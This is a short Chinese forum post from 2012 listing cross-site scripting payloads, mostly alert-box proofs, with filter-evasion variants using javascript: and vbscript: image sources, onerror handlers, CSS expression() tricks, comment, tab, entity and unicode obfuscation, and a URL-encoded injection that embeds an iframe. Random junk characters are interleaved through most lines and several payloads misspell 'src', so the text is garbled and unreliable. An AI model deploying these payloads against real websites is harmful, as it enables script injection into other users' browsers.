<script>alert("跨站")</script> (最常用）
5 h; C# k; X9 K# b<img scr=javascript:alert("跨站")></img>+ R) B5 x8 ~3 l% ^8 a
<img scr="javascript: alert(/跨站/)></img>
7 f1 E+ r4 e+ Y: z+ r. u<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
& Q& h* e/ `& o% k3 y( M+ {0 E& Y<img scr="#" onerror=alert(/跨站/)></img>
' ?- @* E6 V, J$ r# h8 F8 R4 P- w& A<img scr="#" style="xss:expression(alert(/xss/));"></img>- ~/ W" r r, W4 k# h: {1 \; v
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
`. [! o9 }3 ^6 _- D' ~8 d<img src=vbscript:msgbox ("xss")></img>" `& i5 M" O" N1 p( {' p; [9 ?6 D
<style> input {left:expression (alert('xss'))}</style>
( w8 B# ?% ~: i4 Y0 _. e<div style={left:expression (alert('xss'))}></div>6 @* i& _, P) J7 {7 Y
<div style={left:exp/* */ression (alert('xss'))}></div> G1 {* `/ q7 ?0 {. F, }
<div style={left:\0065\0078ression (alert('xss'))}></div>) T. }5 V7 ^7 Y7 I# {/ s$ h0 H4 R
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>' R: y7 m9 \/ n- C, p _
unicode <div style="{left:expRessioN (alert('xss'))}">
0 U2 d5 N9 D; [9 q$ _
7 M, w0 p7 ^) r8 J9 U"]}%3Cscript%3Ealert('By b14ckb0y')%3C/script%3E{[&item="]<iframe%20src=http://new.qzone.qq.com/9530772%20width=400%20height=600></iframe>["
% N! u2 j0 A/ O0 L |
发表于 2012-9-13 17:15:04
收藏
支持
反对